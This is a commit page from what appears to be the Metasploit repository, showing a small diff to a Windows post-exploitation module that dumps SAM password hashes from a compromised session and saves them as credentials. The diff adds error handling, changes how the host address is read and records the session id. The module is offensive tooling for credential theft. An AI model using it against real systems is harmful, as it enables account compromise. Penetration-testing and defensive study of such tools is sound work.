Skip to content

Commit fa502c9

Browse files
committed
Minor adjustments
1 parent 1fa43bf commit fa502c9

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/post/windows/gather/credentials/credential_collector.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -38,10 +38,15 @@ def run
3838
session.core.use("incognito") if not session.incognito
3939

4040
# It wasn't me mom! Stinko did it!
41-
hashes = client.priv.sam_hashes
41+
begin
42+
hashes = client.priv.sam_hashes
43+
rescue
44+
print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?')
45+
return
46+
end
4247

4348
# Target infos for the db record
44-
addr = client.sock.peerhost
49+
addr = session.session_host
4550
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
4651

4752
# Record hashes to the running db instance
@@ -59,14 +64,14 @@ def run
5964
# Build credential information
6065
credential_data = {
6166
origin_type: :session,
67+
session_id: session_db_id,
6268
post_reference_name: self.fullname,
6369
private_type: :ntlm_hash,
6470
private_data: hash.lanman + ":" + hash.ntlm,
6571
username: hash.user_name,
6672
workspace_id: myworkspace_id
6773
}
6874

69-
credential_data[:session_id] = session.db_record.id if !session.db_record.nil?
7075
credential_data.merge!(service_data)
7176
credential_core = create_credential(credential_data)
7277

0 commit comments

Comments
 (0)